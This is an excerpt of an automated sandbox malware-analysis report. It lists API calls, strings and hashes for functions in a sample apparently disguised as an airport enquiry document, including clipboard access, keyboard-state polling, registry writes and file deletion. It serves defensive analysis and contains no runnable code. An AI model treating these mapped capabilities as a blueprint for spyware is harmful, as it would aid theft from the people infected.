GlobalUnlock.KERNEL32(00000000,00000000), ref: 00CF42E1
IsClipboardFormatAvailable.USER32(00000001), ref: 00CF42EE
GetClipboardData.USER32(00000001), ref: 00CF42F6
GlobalLock.KERNEL32(00000000), ref: 00CF4303
GlobalUnlock.KERNEL32(00000000,00000000,?), ref: 00CF4337
CloseClipboard.USER32 ref: 00CF4447

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
String ID:
API String ID: 3222323430-0
Opcode ID: cbe6a92fd7db656e3686a89139fd7625d57acd0f395b1887d75621ca53899a63
Instruction ID: 70001743e1df7e623f17b49c93932524254e8eb2c138f50717fb896643c00c6b
Opcode Fuzzy Hash: cbe6a92fd7db656e3686a89139fd7625d57acd0f395b1887d75621ca53899a63
Instruction Fuzzy Hash: AD51AF35204306ABD325FF64EC86F7F77A8AF84B00F204529F65AD22A1DB70D9059B67

Function 00CEC9C7 Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00CEC9F8
FindClose.KERNEL32(00000000), ref: 00CECA4C
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00CECA71
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00CECA88
FileTimeToSystemTime.KERNEL32(?,?), ref: 00CECAAF
__swprintf.LIBCMT ref: 00CECAFB
__swprintf.LIBCMT ref: 00CECB3E

Part of subcall function 00C87F41: _memmove.LIBCMT ref: 00C87F82

__swprintf.LIBCMT ref: 00CECB92

Part of subcall function 00CA38D8: __woutput_l.LIBCMT ref: 00CA3931

__swprintf.LIBCMT ref: 00CECBE0

Part of subcall function 00CA38D8: __flsbuf.LIBCMT ref: 00CA3953
Part of subcall function 00CA38D8: __flsbuf.LIBCMT ref: 00CA396B

__swprintf.LIBCMT ref: 00CECC2F
__swprintf.LIBCMT ref: 00CECC7E
__swprintf.LIBCMT ref: 00CECCCD

Strings

%02d, xrefs: 00CECB86, 00CECB90, 00CECBDE, 00CECC2D, 00CECC7C, 00CECCCB
%4d, xrefs: 00CECB38
%4d%02d%02d%02d%02d%02d, xrefs: 00CECAF5

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 3953360268-2428617273
Opcode ID: 0be40e6a1e4f54fc7c7f5d1b07971b4a5ad21ccffe7454ce8ba4634c8fbd17e2
Instruction ID: 06a239f0d69233119f1417fb2aab57c64c6b44e1685a65f06ab6eabf55f1992f
Opcode Fuzzy Hash: 0be40e6a1e4f54fc7c7f5d1b07971b4a5ad21ccffe7454ce8ba4634c8fbd17e2
Instruction Fuzzy Hash: E6A14CB2508344ABC714FBA5C8C5DBFB7ECEF94708F440929B586C2191EB34DA09DB66

Function 00CEF200 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00CEF221
_wcscmp.LIBCMT ref: 00CEF236
_wcscmp.LIBCMT ref: 00CEF24D
GetFileAttributesW.KERNEL32(?), ref: 00CEF25F
SetFileAttributesW.KERNEL32(?,?), ref: 00CEF279
FindNextFileW.KERNEL32(00000000,?), ref: 00CEF291
FindClose.KERNEL32(00000000), ref: 00CEF29C
FindFirstFileW.KERNEL32(*.*,?), ref: 00CEF2B8
_wcscmp.LIBCMT ref: 00CEF2DF
_wcscmp.LIBCMT ref: 00CEF2F6
SetCurrentDirectoryW.KERNEL32(?), ref: 00CEF308
SetCurrentDirectoryW.KERNEL32(00D3A5A0), ref: 00CEF326
FindNextFileW.KERNEL32(00000000,00000010), ref: 00CEF330
FindClose.KERNEL32(00000000), ref: 00CEF33D
FindClose.KERNEL32(00000000), ref: 00CEF34F

Strings

*.*, xrefs: 00CEF2B3

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: f51b7c5bae62ca2ec0312aac3764bc8b0eb8cfb14c540fd450843aef7f3daaa2
Instruction ID: 45d78e334b82187d11f8111612a09b2ee7f16f4f42dfdb2e6d3b9bb39d144e35
Opcode Fuzzy Hash: f51b7c5bae62ca2ec0312aac3764bc8b0eb8cfb14c540fd450843aef7f3daaa2
Instruction Fuzzy Hash: 9E31E6766012996EDB20DBB5DC58BDE73ACEF09360F200179F964D31A0EB30DB46CA64

Function 00D00AE2 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00D00BDE
RegCreateKeyExW.ADVAPI32(?,?,00000000,00D0F910,00000000,?,00000000,?,?), ref: 00D00C4C
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00D00C94
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00D00D1D
RegCloseKey.ADVAPI32(?), ref: 00D0103D
RegCloseKey.ADVAPI32(00000000), ref: 00D0104A

Strings

REG_MULTI_SZ, xrefs: 00D00E05
REG_SZ, xrefs: 00D00D5B
REG_EXPAND_SZ, xrefs: 00D00CBA
REG_BINARY, xrefs: 00D00FD8
REG_DWORD, xrefs: 00D00F0E
REG_QWORD, xrefs: 00D00F8B

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: f0adbf3868b9b3b7e0d5c8a485ed5581759dc37c77a9622bb666f47b2f2caa58
Instruction ID: df61fed2f8c830add52caaf805a298967a0e495eac7daf6cc353e55a152e7746
Opcode Fuzzy Hash: f0adbf3868b9b3b7e0d5c8a485ed5581759dc37c77a9622bb666f47b2f2caa58
Instruction Fuzzy Hash: DD0249752006119FCB14EF14C895B2ABBE5FF89714F08885DF98A9B3A2CB30ED41DB95

Function 00CEF35D Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00CEF37E
_wcscmp.LIBCMT ref: 00CEF393
_wcscmp.LIBCMT ref: 00CEF3AA

Part of subcall function 00CE45C1: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00CE45DC

FindNextFileW.KERNEL32(00000000,?), ref: 00CEF3D9
FindClose.KERNEL32(00000000), ref: 00CEF3E4
FindFirstFileW.KERNEL32(*.*,?), ref: 00CEF400
_wcscmp.LIBCMT ref: 00CEF427
_wcscmp.LIBCMT ref: 00CEF43E
SetCurrentDirectoryW.KERNEL32(?), ref: 00CEF450
SetCurrentDirectoryW.KERNEL32(00D3A5A0), ref: 00CEF46E
FindNextFileW.KERNEL32(00000000,00000010), ref: 00CEF478
FindClose.KERNEL32(00000000), ref: 00CEF485
FindClose.KERNEL32(00000000), ref: 00CEF497

Strings

*.*, xrefs: 00CEF3FB

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: 460bac8d19caa8580cd4a3b5c56600d30753b4e9c6d931bffaa1c59740992d1d
Instruction ID: 5660075bf3675c7b9c567ab432928ea484b4ef69ffe3a7736ec1c9057d1b882a
Opcode Fuzzy Hash: 460bac8d19caa8580cd4a3b5c56600d30753b4e9c6d931bffaa1c59740992d1d
Instruction Fuzzy Hash: 6D31D5726012996ECB20AB75EC88ADE77AC9F49324F200179F854E31E0D734DB46DA64

Function 00CD81F7 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00CD874A: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00CD8766
Part of subcall function 00CD874A: GetLastError.KERNEL32(?,00CD822A,?,?,?), ref: 00CD8770
Part of subcall function 00CD874A: GetProcessHeap.KERNEL32(00000008,?,?,00CD822A,?,?,?), ref: 00CD877F
Part of subcall function 00CD874A: HeapAlloc.KERNEL32(00000000,?,00CD822A,?,?,?), ref: 00CD8786
Part of subcall function 00CD874A: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00CD879D

Part of subcall function 00CD87E7: GetProcessHeap.KERNEL32(00000008,00CD8240,00000000,00000000,?,00CD8240,?), ref: 00CD87F3
Part of subcall function 00CD87E7: HeapAlloc.KERNEL32(00000000,?,00CD8240,?), ref: 00CD87FA
Part of subcall function 00CD87E7: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00CD8240,?), ref: 00CD880B

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00CD825B
_memset.LIBCMT ref: 00CD8270
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00CD828F
GetLengthSid.ADVAPI32(?), ref: 00CD82A0
GetAce.ADVAPI32(?,00000000,?), ref: 00CD82DD
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00CD82F9
GetLengthSid.ADVAPI32(?), ref: 00CD8316
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00CD8325
HeapAlloc.KERNEL32(00000000), ref: 00CD832C
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00CD834D
CopySid.ADVAPI32(00000000), ref: 00CD8354
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00CD8385
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00CD83AB
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00CD83BF

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: ac2e35d4e04361b13d275f9bc8793763d310c307424bbbd1c87ecbfcc55155a7
Instruction ID: de0fa29bd19c0cd199cfe0987d2b8857da3323f014c14c57a941d8140a3fcae0
Opcode Fuzzy Hash: ac2e35d4e04361b13d275f9bc8793763d310c307424bbbd1c87ecbfcc55155a7
Instruction Fuzzy Hash: 80612C71900209ABDF10DF94DC45AAEBBB9FF04710F14816AF929E73A1DB319A19DB60

Function 00C96843 Relevance: 18.4, Strings: 14, Instructions: 883COMMON

Download Yara Rule

Strings

ANYCRLF), xrefs: 00CD1734
NO_AUTO_POSSESS), xrefs: 00CD1567
CRLF), xrefs: 00CD16FA
CR), xrefs: 00CD16C0
LF), xrefs: 00CD16DD
ANY), xrefs: 00CD1717
BSR_UNICODE), xrefs: 00CD1771
UTF), xrefs: 00CD1533
NO_START_OPT), xrefs: 00CD1588
UCP), xrefs: 00CD1546
BSR_ANYCRLF), xrefs: 00CD1757
LIMIT_RECURSION=, xrefs: 00CD1635
UTF16), xrefs: 00CD1508
LIMIT_MATCH=, xrefs: 00CD15A9

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID:
String ID: ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$UCP)$UTF)$UTF16)
API String ID: 0-4052911093
Opcode ID: 1d6a6d26ef80c2c87edf66c9d5a2e3c0ebbcf4fc34b55724b4641b3e11472f40
Instruction ID: 62966f3159437930ad81ff5217b5b76c420532e73774a0d1e79d563570489851
Opcode Fuzzy Hash: 1d6a6d26ef80c2c87edf66c9d5a2e3c0ebbcf4fc34b55724b4641b3e11472f40
Instruction Fuzzy Hash: D4727E71E002199BDF24CF59C8947AEB7B5FF48310F19816AE959EB390E7309E81DB90

Function 00D00665 Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D010A5: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00D00038,?,?), ref: 00D010BC

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00D00737

Part of subcall function 00C89997: __itow.LIBCMT ref: 00C899C2
Part of subcall function 00C89997: __swprintf.LIBCMT ref: 00C89A0C

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00D007D6
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00D0086E
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00D00AAD
RegCloseKey.ADVAPI32(00000000), ref: 00D00ABA

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: 403fed1eb5c66952d932c029a9a2693b92e177179306f1bfaa870fda9b96c98c
Instruction ID: 697e00bdc7072dcb50eeef29410b1cc8c0e5f2ad8bc8077ad79d54c1e8d31be4
Opcode Fuzzy Hash: 403fed1eb5c66952d932c029a9a2693b92e177179306f1bfaa870fda9b96c98c
Instruction Fuzzy Hash: 34E12C71204310AFCB14DF24C895F6ABBE4EF89714F18856DF48ADB2A2DB30E905DB61

Function 00CE0219 Relevance: 16.6, APIs: 11, Instructions: 120keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00CE0241
GetAsyncKeyState.USER32(000000A0), ref: 00CE02C2
GetKeyState.USER32(000000A0), ref: 00CE02DD
GetAsyncKeyState.USER32(000000A1), ref: 00CE02F7
GetKeyState.USER32(000000A1), ref: 00CE030C
GetAsyncKeyState.USER32(00000011), ref: 00CE0324
GetKeyState.USER32(00000011), ref: 00CE0336
GetAsyncKeyState.USER32(00000012), ref: 00CE034E
GetKeyState.USER32(00000012), ref: 00CE0360
GetAsyncKeyState.USER32(0000005B), ref: 00CE0378
GetKeyState.USER32(0000005B), ref: 00CE038A

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 9710d46392b1532ce20999bce0f95ea9712f07c852e8a313447987488c98e6f0
Instruction ID: db8a65429ac38549334f251a72de6bda92f2ccaeaac6cf3bb77e91c6a0d7d0a2
Opcode Fuzzy Hash: 9710d46392b1532ce20999bce0f95ea9712f07c852e8a313447987488c98e6f0
Instruction Fuzzy Hash: C141C8245047CA6EFF318B66D8083A5BEE06F12340F68409DD6D6466D3EBE45BC887E2

Function 00CF86D0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 00C89997: __itow.LIBCMT ref: 00C899C2
Part of subcall function 00C89997: __swprintf.LIBCMT ref: 00C89A0C

CoInitialize.OLE32 ref: 00CF8718
CoUninitialize.OLE32 ref: 00CF8723
CoCreateInstance.OLE32(?,00000000,00000017,00D12BEC,?), ref: 00CF8783
IIDFromString.OLE32(?,?), ref: 00CF87F6
VariantInit.OLEAUT32(?), ref: 00CF8890
VariantClear.OLEAUT32(?), ref: 00CF88F1

Strings

Invalid parameter, xrefs: 00CF880F
Failed to create object, xrefs: 00CF878E, 00CF8844
NULL Pointer assignment, xrefs: 00CF87C8

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: db37034f1ba80820e9946c778e4858ac3d7671a1391416196287954e78c1e3d8
Instruction ID: 89067121571d892fb3ad627aca34f865c01586b416f534af2f76e30ce531492c
Opcode Fuzzy Hash: db37034f1ba80820e9946c778e4858ac3d7671a1391416196287954e78c1e3d8
Instruction Fuzzy Hash: AF61BD706083059FC750EF25C848B6ABBE4EF48754F14481EFA959B291CB30ED48CBA3

Function 00CF4458 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00CF447F
EmptyClipboard.USER32 ref: 00CF4485
GlobalAlloc.KERNEL32(00000002,?), ref: 00CF449A
CloseClipboard.USER32 ref: 00CF4539

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 1ebacdc0898ee450f6a95e311b03978678abe01c0d38c946ca6ab664f1be901a
Instruction ID: 4d376a91ee1c7fc9ea11cae0cf551dc5204e17269d043424db1de75317e0bbc8
Opcode Fuzzy Hash: 1ebacdc0898ee450f6a95e311b03978678abe01c0d38c946ca6ab664f1be901a
Instruction Fuzzy Hash: 4A21A635200314AFDB24AF64EC49B7A7BA9EF44714F24801AF94AD7361CB71ED00DB69

Function 00CE3A2B Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C848AE: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00C848A1,?,?,00C837C0,?), ref: 00C848CE

Part of subcall function 00CE4CD3: GetFileAttributesW.KERNEL32(?,00CE3947), ref: 00CE4CD4

FindFirstFileW.KERNEL32(?,?), ref: 00CE3ADF
DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 00CE3B87
MoveFileW.KERNEL32(?,?), ref: 00CE3B9A
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 00CE3BB7
FindNextFileW.KERNEL32(00000000,00000010), ref: 00CE3BD9
FindClose.KERNEL32(00000000,?,?,?,?), ref: 00CE3BF5

Strings

\*.*, xrefs: 00CE3A8A, 00CE3A93, 00CE3AA8

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4002782344-1173974218
Opcode ID: 87f97dd80402eb5c1f1b3f7ca32cf2b67c54a1f64982adf0f8af023b20974194
Instruction ID: d9b3e75ef71d9cae064ef91247a8e09046302a1223e48630a76f28665aa724f4
Opcode Fuzzy Hash: 87f97dd80402eb5c1f1b3f7ca32cf2b67c54a1f64982adf0f8af023b20974194
Instruction Fuzzy Hash: AF51A33180128D9BCF15FBA1CD969EDB7B8AF14304F6441A5E402B7191EF30AF09EB64

Function 00CEF65E Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00C87F41: _memmove.LIBCMT ref: 00C87F82

FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 00CEF6AB
Sleep.KERNEL32(0000000A), ref: 00CEF6DB
_wcscmp.LIBCMT ref: 00CEF6EF
_wcscmp.LIBCMT ref: 00CEF70A
FindNextFileW.KERNEL32(?,?), ref: 00CEF7A8
FindClose.KERNEL32(00000000), ref: 00CEF7BE

Strings

*.*, xrefs: 00CEF690

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNextSleep_memmove
String ID: *.*
API String ID: 713712311-438819550
Opcode ID: e52b23d25d01ad4f0ac98d8427e4be111cd0034da165646409552ffd3365202b
Instruction ID: 550e7633ab52d83d58cb2aa5dd82e8865193ca89124ff95b3414949893d774e6
Opcode Fuzzy Hash: e52b23d25d01ad4f0ac98d8427e4be111cd0034da165646409552ffd3365202b
Instruction Fuzzy Hash: 1041707190024A9FCF15EF65CC89AEEBBB4FF05314F14456AF815A32A0EB309E45DBA0

Function 00C94140 Relevance: 11.6, APIs: 1, Strings: 5, Instructions: 1132COMMON

Download Yara Rule

Strings

ERCP, xrefs: 00C9421F
VUUU, xrefs: 00C944ED
VUUU, xrefs: 00CC7B0C
VUUU, xrefs: 00C944DB
VUUU, xrefs: 00C94520

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
